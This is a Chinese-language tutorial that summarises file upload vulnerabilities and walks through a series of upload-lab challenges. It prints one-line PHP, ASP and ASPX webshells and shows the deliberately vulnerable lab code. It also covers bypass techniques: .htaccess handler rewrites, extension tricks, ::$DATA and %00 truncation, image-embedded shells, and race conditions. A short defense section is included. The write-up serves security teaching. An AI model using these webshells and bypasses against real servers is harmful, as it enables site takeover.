文件上传漏洞总结

文件上传漏洞总结

文件上传漏洞分为:

直接文件上传,属于高危漏洞的一种,能直接getshell,而且没有任何限制,攻击者很容易通过上传点,获取网站的控制权限;
有条件的上传漏洞,这种漏洞一般是开发者经验不足,对文件上传做了简单的限制,如简单的前端认证;
文件头文件检测,这种检测行为,可以完全绕过的;
权限认证没处理,没有对文件上传页面进行权限认证,匿名者就能访问上传文件,上传网页后门到网站目录,控制整个网站;
上传逻辑有问题,导致文件上传可以被绕过,上传后门到网站上。
有的文件上传漏洞则是通过中间件或者系统特性上传可以被服务器解析脚本文件,从而导致网站可被控制。

一句话木马可以让服务器执行入侵者指定的命令

php的一句话木马: <?php @eval($_POST['pass']);?>
asp的一句话是:   <%eval request ("pass")%>
aspx的一句话是:  <%@ Page Language="Jscript"%> <%eval(Request.Item["pass"],"unsafe");%>

文件上传绕过(基于phpstudy)

绕过前端 js 检测上传

案例:phpstudy的Pass-01

简介
在文件上传时,用户选择文件时,或者提交时,有些网站会对前端文件名进行验证,一般检测后缀名,是否为上传的格式。如果上传的格式不对,则弹出提示文字。此时数据包并没有提交到服务器,只是在客户端通过 js 文件进行校验,验证不通过则不会提交到服务器进行处理。

image-20250405115337675

查看源代码

function checkFile() {
    var file = document.getElementsByName('upload_file')[0].value;
    if (file == null || file == "") {
        alert("请选择要上传的文件!");
        return false;
    }
    //定义允许上传的文件类型
    var allow_ext = ".jpg|.png|.gif";
    //提取上传文件的类型
    var ext_name = file.substring(file.lastIndexOf("."));
    //判断上传文件类型是否允许上传
    if (allow_ext.indexOf(ext_name + "|") == -1) {
        var errMsg = "该文件不允许上传,请上传" + allow_ext + "类型的文件,当前文件类型为:" + ext_name;
        alert(errMsg);
        return false;
    }
}

可以发现它只允许jpg,png,gif文件上传。

但是但是,这是用javascript来约束的,我们可以通过在浏览器中将js给禁用掉约束便不起效果了

然后我们上传一个php的一句话木马上去效果如下

image-20250402152324844

然后选择在新标签打开图片

image-20250402152349275

成功进入到phpinfo

当然在这个案例中还有别的方式来达到同样的效果

由于这仅仅是对前端做了限制,然而前端的代码是可以修改的所以可以在元素的那个地方把检测的函数给删掉就行了

抓包修改后缀名

当然上面的案例也可以先上传一个符合白名单的图片,然后抓包修改后缀名也可以成功上传

image-20250405115721599

绕过 contnet-type 检测上传

案例:phpstudy的Pass-02

有些上传模块,会对 http 的类型头进行检测,如果是图片类型,允许上传文件到服务器,否则返回上传失败。因为服务端是通过content-type 判断类型,content-type 在客户端可被修改。则此文件上传也有可能被绕过的风险。 https://www.runoob.com/http/http-content-type.html

查看源代码

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH . '/' . $_FILES['upload_file']['name']            
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '文件类型不正确,请重新上传!';
        }
    } else {
        $msg = UPLOAD_PATH.'文件夹不存在,请手工创建!';
    }
}

pass-02 首先进行 submit 提交判断,再检测文件类型如果是 image/jpeg 或者 image/png,即允许上传。

所以我们可以把我们的php木马上传然后抓包,将http请求中的content-type请求头修改成符合要求的格式即可绕过

image-20250405120534637

image-20250405120543262

黑名单绕过上传

案例:phpstudy的Pass-03

上传模块,有时候会写成黑名单限制,在上传文件的时获取后缀名,再把后缀名与程序中黑名单进行检测,如果后缀名在黑名单的列表内,文件将禁止文件上传。

源码分析:

pass-03 首先是检测 submit 是否有值,获取文件的后缀名,进行黑名单对比,后缀名不在黑名单内,允许上传。

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array('.asp','.aspx','.php','.jsp');
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //收尾去空

        if(!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;            
            if (move_uploaded_file($temp_file,$img_path)) {
                 $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '不允许上传.asp,.aspx,.php,.jsp后缀文件!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}

攻击

上传图片时,如果提示不允许 php、asp 这种信息提示,可判断为黑名单限制,上传黑名单以外的后缀名即可。 在 iis 里 asp 禁止上传了,可以上传 asa cer cdx 这些后缀,如在网站里允许.net执行 可以上传 ashx 代替 aspx。如果网站可以 执行这些脚本,通过上传后门即可获取 webshell。 在不同的中间件中有特殊的情况,如果在apache可以开启application/x-httpd-php, 在 AddType application/x-httpd-php .php .php3 .phtml后缀名为.phtml、.php3均被解析成php,有的apache版本默认开启。 上传目标中间件可支持的环境的语言脚本即可,如.phtml、php3。

比如在本案例中,phtml和php3都可以被解析成php。所以我们可以修改后缀为phtml即可绕过过滤

image-20250405121348254

. htaccess 重写解析绕过上传

案例:phpstudy的Pass-04

上传模块,黑名单过滤了所有的能执行的后缀名,如果允许上传.htaccess。htaccess文件的作用是可以帮我们实现包括文件夹密码保护、用户自动重定向、自定义错误页面、改变你的文件扩展名、封禁特定 IP 地址的用户、只允许特定 IP 地址的用户、禁止目录列表,以及使用其他文件作为index文件等一些功能。在.htaccess里写入SetHandler application/x-httpd-php,则可以文件重写成php文件。 要 htaccess 的规则生效,则需要在apache开启rewrite 重写模块,因为apache是多数都开启这个模块,所以规则一般都生效。

源码分析:

pass-04 上传的文件后缀名在列表内禁止上传。包括了所有的执行脚本。

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2","php1",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2","pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //收尾去空

        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '此文件不允许上传!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}

攻击

上传.htaccess到网站里,.htaccess 内容是

<FilesMatch "jpg">
SetHandler application/x-httpd-php
</FilesMatch>

这样再上传一个jpg格式的木马图片,便会执行这个文件的脚本将其当作php来解释

image-20250405122013131

大小写绕过上传

案例:phpstudy的Pass-05

有的上传模块后缀名采用黑名单判断,但是没有对后缀名的大小写进行严格判断,导致可以更改后缀大小写可以被绕过。

源码分析:

可以看到源码中将htaccess也加上去了,所以无法通过上一个案例的方法绕过了,黑名单也非常的全面。

但是可以发现跟上一个案例相比,少了一条将后缀变成小写,所以可以尝试将后缀改成大写绕过黑名单

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //首尾去空

        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '此文件类型不允许上传!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}

image-20250405122415505

image-20250405122425776

空格绕过

在上传模块里,采用黑名单上传,如果没有对空格进行去掉可能被绕过。

案例:phpstudy的Pass-06

源码分析:

可以看到跟上一个案例相比少了首位去空,所以可以尝试在后缀首尾加上空格进行绕过

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
        $file_name = $_FILES['upload_file']['name'];
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA

        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
            if (move_uploaded_file($temp_file,$img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '此文件不允许上传';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}

当然直接修改文件名的后缀是不可行的,windows会直接将空格去掉,要抓包下来在bp里面加空格

image-20250405123009655

在url解析的时候,会自动将空格去掉

image-20250405123029179

利用 windows 系统特征绕过

案例:phpstudy的Pass-07

在 windows 中文件后缀名的点“.”,系统会自动忽略。所以shell.php.和shell.php的效果一样。可以在文件名后面加上.绕过。

对于这个案例,抓包修改在后缀名后加上.即可绕过。

NTFS 交换数据流::$DATA 绕过上传

案例:phpstudy的Pass-08

如果后缀名没有对::$DATA 进行判断,利用 windows 系统 NTFS 特征可以绕过上传。 在window的时候如果文件名+::$DATA会把::$DATA之后的数据当成文件流处理,不会检测后缀名,且保持::$DATA之前的文件名,他的目的就是不检查后缀名

例如:phpinfo.php::$DATA Windows会自动去掉末尾的::$DATA变成phpinfo.php

源码分析:

可以看到跟前面的案例,少了去掉结尾的::$DATA

pass-08 同样用黑名单过滤后缀名。但是程序中没有对::$DATA进行过滤可以添加::$DATA绕过上传。

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = trim($file_ext); //首尾去空

        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '此文件类型不允许上传!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}

通过抓包,并在后缀后面加上::$DATA即可逃避黑名单过滤

image-20250405134242248

image-20250405134618302

利用 windows 环境的叠加特征绕过

在 windwos 中如果上传文件名 phpinfo.php:.jpg 的时候,会在目录下生产空白的文件名 phpinfo.php,再利用 php 和 windows环境的叠加属性。 以下符号在正则匹配时相等: 双引号" 等于 点号. 大于符号> 等于 问号? 小于符号< 等于 星号* 文件名.< 或 文件名.<<< 或 文件名.>>> 或 文件名.>><空文件名

Windows 文件名特殊符号的替换规则

Windows 对某些符号有特殊处理,尤其在命令行中:

  • >< 是重定向符号,无法直接作为文件名。
  • ?* 是通配符(匹配单个字符和任意字符)。
  • 双引号 " 用于包裹含空格的路径。

当文件名包含非法符号时,Windows 会尝试替换:

  • ".
  • >?
  • <*

假设开发者用正则表达式校验上传文件的扩展名(如禁止 .php),但未正确处理 Windows 符号替换规则:

// 错误的正则校验:禁止以 .php 结尾
if (preg_match('/\.php$/', $filename)) {
    die("禁止上传 PHP 文件!");
}

攻击者构造以下文件名

  • shell.php" → 实际保存为 shell.php.(Windows 替换 ".)。
  • shell.php> → 保存为 shell.php?> 被替换为 ?)。
  • shell.php< → 保存为 shell.php*< 被替换为 *)。

结果
文件最终在服务器上可能保存为 shell.php,绕过正则校验。

实际攻击案例

场景 1:上传 Webshell

  1. 攻击者上传文件名为 shell.php:.jpg
  2. 服务器生成 shell.php(空文件)和备用流 shell.php:jpg(含恶意代码)。
  3. 访问 http://site.com/shell.php 时,主文件为空,但攻击者可通过其他方式触发备用流执行。

场景 2:绕过黑名单校验

  1. 黑名单禁止 .php 后缀。
  2. 攻击者上传 shell.php< → 实际保存为 shell.php*
  3. 在 Windows 中访问 shell.php* 时,可能匹配到 shell.php。、

案例:phpstudy的Pass-09

源码分析:

pass-09 同样是黑名单匹配,把.去掉,把空格过滤了,::$data 也过滤了。

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //首尾去空

        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.$file_name;
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '此文件类型不允许上传!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}

上传攻击

首先抓包上传 a.php:.jpg 上传会在目录里生成 a.php 空白文件,

image-20250405141805590

image-20250405141815665

接着再次提交把a.php 改成 a.>>>

image-20250405142019591

发现木马写进去了,下面只需要访问这个文件即可

防御方案

  1. 严格校验文件名:使用白名单机制,仅允许特定字符(如字母、数字、-_)。
  2. 重命名文件:上传时自动生成随机文件名(如 md5(时间戳).jpg)。
  3. 禁止备用数据流:在服务器配置中禁用 NTFS 备用流功能。
  4. 跨平台兼容处理:在代码中统一替换 <>?:*" 等符号为安全字符。
// 示例:安全处理文件名
$filename = $_FILES['file']['name'];
$filename = preg_replace('/[<>?:*"]/', '', $filename); // 删除危险符号
$filename = uniqid() . '.jpg'; // 强制重命名

双写后缀名绕过

在上传模块,有的代码会把黑名单的后缀名替换成空,例如 a.php 会把 php 替换成空,但是可以使用双写绕过例如 asaspp,pphphp,即可绕过上传。

案例:phpstudy的Pass-10

源码分析:

pass-10 同样是黑名单过滤。str_ireplace 对上传的后缀名是黑名单内的字符串转换成空。

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");

        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = str_ireplace($deny_ext,"", $file_name);
        $temp_file = $_FILES['upload_file']['tmp_name'];
        $img_path = UPLOAD_PATH.'/'.$file_name;        
        if (move_uploaded_file($temp_file, $img_path)) {
            $is_upload = true;
        } else {
            $msg = '上传出错!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}

攻击则是抓包改后缀为phphpp即可

目录可控%00 截断绕过

案例:phpstudy的Pass-11

以上都是一些黑名单被绕过的,如果黑名单上传检测后,没有限定后缀名,绕过的方法很多,与黑名单相对的就是白名单,使用白名单验证会相对比较安全,因为只允许指定的文件后缀名。但是如果有可控的参数目录,也存在被绕过的风险。

源码分析:

pass-12 这段代码同样是白名单限制后缀名,$_POST['save_path']是接收客户端提交的值,客户端可任意修改。所以会产生安全漏洞。

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    $ext_arr = array('jpg','png','gif');
    $file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
    if(in_array($file_ext,$ext_arr)){
        $temp_file = $_FILES['upload_file']['tmp_name'];
        $img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;

        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        } else {
            $msg = '上传出错!';
        }
    } else{
        $msg = "只允许上传.jpg|.png|.gif类型文件!";
    }
}

上传攻击

首先截断攻击,抓包上传一个符合白名单的图片(里面写着木马)将%00 自动截断后门内容。 例如:1.php%00.1.jpg 变成 1.php

image-20250405143617312

image-20250405143653444

然后将后缀全部删掉木马就生效了

目录可控 POST 绕过

案例:phpstudy的Pass-12

上面是 GET 请求的,可以直接在 url 输入%00 即可截断,但是在 post 下直接注入%00 是不行的,需要把%00 解码变成空白符,截断才有效。才能把目录截断成文件名。

源码分析:

pass-12 这段代码同样是白名单限制后缀名,$_POST['save_path']是接收客户端提交的值,客户端可任意修改。所以会产生安全漏洞。

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    $ext_arr = array('jpg','png','gif');
    $file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
    if(in_array($file_ext,$ext_arr)){
        $temp_file = $_FILES['upload_file']['tmp_name'];
        $img_path = $_POST['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;

        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        } else {
            $msg = "上传失败";
        }
    } else {
        $msg = "只允许上传.jpg|.png|.gif类型文件!";
    }
}

上传攻击

由于get请求是直接显示在网页上的,所以可以直接写%00截断。然而post请求不能写%00,因为这是url编码过的,所以要对这个%00进行url解码,解码后是个不可视字符,如下图其实后缀后面有个不可视字符

image-20250405144254745

然后效果跟上面一个案例一样

文件头检测绕过

案例:phpstudy的Pass-13

有的文件上传,上传时候会检测头文件,不同的文件,头文件也不尽相同。常见的文件上传图片头检测,它检测图片是两个字节的长度,如果 不是图片的格式,会禁止上传。 常见的文件头: 1、JPEG (jpg),文件头:FFD8FF 2、PNG (png),文件头:89504E47 3、GIF (gif),文件头:47494638 4、TIFF (tif),文件头:49492A00 5、Windows Bitmap (bmp),文件头:424D

源码分析:

pass-13 这个是存在文件头检测的上传,getReailFileType 是检测 jpg、png、gif 的文件头,如果上传的文件符合数字即可通过检测。

function getReailFileType($filename){
    $file = fopen($filename, "rb");
    $bin = fread($file, 2); //只读2字节
    fclose($file);
    $strInfo = @unpack("C2chars", $bin);    
    $typeCode = intval($strInfo['chars1'].$strInfo['chars2']);    
    $fileType = '';    
    switch($typeCode){      
        case 255216:            
            $fileType = 'jpg';
            break;
        case 13780:            
            $fileType = 'png';
            break;        
        case 7173:            
            $fileType = 'gif';
            break;
        default:            
            $fileType = 'unknown';
        }    
        return $fileType;
}

上传攻击

方法一,制作图片马

制作图片一句话,使用copy /b 1.jpg + 2.php 3.jpg,将php文件附加到jpg图片上,直接上传即可。这样检测文件头是jpg,但是结尾插上了我们的php木马

image-20250405145451690

然后上传此图片便会绕过

但是直接在新标签显示此图片是没有异常的,此题目中给出了存在文件包含漏洞用来测试图片中是否有木马

image-20250405145620557

在此url下通过get将刚刚上传的图片写到url上然后往下翻就能发现注入的木马

image-20250405150008310

方法二,数据包头加上 GIF89a

就是上传一个php文件,然后抓包,在数据包头上加上GIF89a

image-20250405150439409

image-20250405150447404

图片检测函数绕过

案例:phpstudy的Pass-14

源码分析:

pass-14 getimagesize 是获取图片的大小,如果头文件不是图片会报错直接可以用图片马绕过检测。

function isImage($filename){
    $types = '.jpeg|.png|.gif';
    if(file_exists($filename)){
        $info = getimagesize($filename);
        $ext = image_type_to_extension($info[2]);
        if(stripos($types,$ext)>=0){
            return $ext;
        }else{
            return false;
        }
    }else{
        return false;
    }
}

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $res = isImage($temp_file);
    if(!$res){
        $msg = "文件未知,上传失败!";
    }else{
        $img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").$res;
        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        } else {
            $msg = "上传出错!";
        }
    }
}

本题可以直接用前面的合成的图片马就能绕过

但是用前面的方法二按道理来说就不能了,因为那个本质上就不是图片,而图片中一般会有约定的位置用来代表图片的大小,那种方式根本没有这样的位置

案例:phpstudy的Pass-15

源码分析:

函数会读取 $filename 文件的前几个字节(无需加载完整图像),根据文件头的标识符(Magic Number)判断图像类型。

function isImage($filename){
    //需要开启php_exif模块
    $image_type = exif_imagetype($filename);
    switch ($image_type) {
        case IMAGETYPE_GIF:
            return "gif";
            break;
        case IMAGETYPE_JPEG:
            return "jpg";
            break;
        case IMAGETYPE_PNG:
            return "png";
            break;    
        default:
            return false;
            break;
    }
}

那其实通过前面的两个方法都能绕过

但是phpstudy里似乎有点问题,上传正常的图片都不显示

绕过图片二次渲染

案例:phpstudy的Pass-16

有些图片上传,会对上传的图片进行二次渲染后在保存,体积可能会更小,图片会模糊一些,但是符合网站的需求。例如新闻图片封面等可能需要二次渲染,因为原图片占用的体积更大。访问人数太多时候会占用很大带宽。二次渲染后的图片内容会减少,如果里面包含后门代码,可能会被省略。导致上传的图片马,恶意代码被清除。

源码分析:

pass-16 只允许上传 JPG PNG gif,在源码中使用 imagecreatefromgif 函数对图片进行二次生成。生成的图片保存在upload 目录下。

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])){
    // 获得上传文件的基本信息,文件名,类型,大小,临时文件路径
    $filename = $_FILES['upload_file']['name'];
    $filetype = $_FILES['upload_file']['type'];
    $tmpname = $_FILES['upload_file']['tmp_name'];

    $target_path=UPLOAD_PATH.'/'.basename($filename);

    // 获得上传文件的扩展名
    $fileext= substr(strrchr($filename,"."),1);

    //判断文件后缀与类型,合法才进行上传操作
    if(($fileext == "jpg") && ($filetype=="image/jpeg")){
        if(move_uploaded_file($tmpname,$target_path)){
            //使用上传的图片生成新的图片
            $im = imagecreatefromjpeg($target_path);

            if($im == false){
                $msg = "该文件不是jpg格式的图片!";
                @unlink($target_path);
            }else{
                //给新图片指定文件名
                srand(time());
                $newfilename = strval(rand()).".jpg";
                //显示二次渲染后的图片(使用用户上传图片生成的新图片)
                $img_path = UPLOAD_PATH.'/'.$newfilename;
                imagejpeg($im,$img_path);
                @unlink($target_path);
                $is_upload = true;
            }
        } else {
            $msg = "上传出错!";
        }

    }else if(($fileext == "png") && ($filetype=="image/png")){
        if(move_uploaded_file($tmpname,$target_path)){
            //使用上传的图片生成新的图片
            $im = imagecreatefrompng($target_path);

            if($im == false){
                $msg = "该文件不是png格式的图片!";
                @unlink($target_path);
            }else{
                 //给新图片指定文件名
                srand(time());
                $newfilename = strval(rand()).".png";
                //显示二次渲染后的图片(使用用户上传图片生成的新图片)
                $img_path = UPLOAD_PATH.'/'.$newfilename;
                imagepng($im,$img_path);

                @unlink($target_path);
                $is_upload = true;               
            }
        } else {
            $msg = "上传出错!";
        }

    }else if(($fileext == "gif") && ($filetype=="image/gif")){
        if(move_uploaded_file($tmpname,$target_path)){
            //使用上传的图片生成新的图片
            $im = imagecreatefromgif($target_path);
            if($im == false){
                $msg = "该文件不是gif格式的图片!";
                @unlink($target_path);
            }else{
                //给新图片指定文件名
                srand(time());
                $newfilename = strval(rand()).".gif";
                //显示二次渲染后的图片(使用用户上传图片生成的新图片)
                $img_path = UPLOAD_PATH.'/'.$newfilename;
                imagegif($im,$img_path);

                @unlink($target_path);
                $is_upload = true;
            }
        } else {
            $msg = "上传出错!";
        }
    }else{
        $msg = "只允许上传后缀为.jpg|.png|.gif的图片文件!";
    }
}

上传绕过:

首先判断图片是否允许上传 gif,gif 图片在二次渲染后,与原图片差别不会太大。所以二次渲染攻击最好用 gif图片马。 制作图片马: 将原图片上传,下载渲染后的图片进行对比,找相同处,覆盖字符串,填写一句话后门,或者恶意指令。 使用工具:HxDHexEditor2.3.0.0

image-20250405160550830

image-20250405160602430

条件竞争绕过文件删除

条件竞争漏洞(Race condition)官方概念是——竞争条件发生在多个线程同时访问同一个共享代码、变量、文件等没有进行锁操作或者同步操作的场景中。服务器对上传文件的操作大多数都是单线程处理,当我们执行多个线程时可以绕过一些服务器端的防御。

案例:phpstudy的Pass-17

源码分析:

这里使用了unlink函数来删除不符合的文件,但代码执行的过程是需要耗费时间的。如果我们能在上传的一句话被删除之前访问就可以了。这个也就叫做条件竞争上传绕过。

if(isset($_POST['submit'])){
    $ext_arr = array('jpg','png','gif');
    $file_name = $_FILES['upload_file']['name'];
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $file_ext = substr($file_name,strrpos($file_name,".")+1);
    $upload_file = UPLOAD_PATH . '/' . $file_name;

    if(move_uploaded_file($temp_file, $upload_file)){
        if(in_array($file_ext,$ext_arr)){
             $img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;
             rename($upload_file, $img_path);
             $is_upload = true;
        }else{
            $msg = "只允许上传.jpg|.png|.gif类型文件!";
            unlink($upload_file);
        }
    }else{
        $msg = '上传出错!';
    }
}

image-20250405160952987

然后在他还未删除的间隙访问便能成功访问

文件名可控绕过

案例:phpstudy的Pass-19

文件上传时,文件名的可被客户端修改控制,会导致漏洞产生。

绕过攻击
主要有两种:

1.上传文件,文件采用%00 截断,抓包解码例如 pinfo.php%00.php 截断后pinfo.php 或者使用/. 来截断

2.与中间的漏洞配合使用,例如 iis6.0 上传 1.php;1.jpg,apache 上传 1.php.a 也能解析文件,a.asp;1.jpg 解析成 asp

数组绕过

编写一个测试的PHP文件

<?php
$file = $_GET['save_name'];
echo $file_name = reset($file) . '.' . $file[count($file) - 1];
// reset()如果成功则返回数组中第一个元素的值,如果数组为空则返回 FALSE。
?>

如果将数组的下标修改大于1,那么就得不到文件的格式,会使用.来替代

不能支持以.结尾,就会自动删除掉最后的. move_uploaded_file()函数中,也会忽略掉文件末尾的 /. 那么这个文件保存的名字就变成了xx.php

源码分析:

可以看到通过取数组的方式分别获取文件头和后缀

$is_upload = false;
$msg = null;
if(!empty($_FILES['upload_file'])){
    //检查MIME
    $allow_type = array('image/jpeg','image/png','image/gif');
    if(!in_array($_FILES['upload_file']['type'],$allow_type)){
        $msg = "禁止上传该类型文件!";
    }else{
        //检查文件名
        $file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name'];
        if (!is_array($file)) {
            $file = explode('.', strtolower($file));
        }

        $ext = end($file);
        $allow_suffix = array('jpg','png','gif');
        if (!in_array($ext, $allow_suffix)) {
            $msg = "禁止上传该后缀文件!";
        }else{
            $file_name = reset($file) . '.' . $file[count($file) - 1];
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH . '/' .$file_name;
            if (move_uploaded_file($temp_file, $img_path)) {
                $msg = "文件上传成功!";
                $is_upload = true;
            } else {
                $msg = "文件上传失败!";
            }
        }
    }
}else{
    $msg = "请选择要上传的文件!";
}

攻击方式

首先修改Content-Type为符合格式的

然后通过下面的方式来数组绕过,含义是文件名变成了upload-20.php

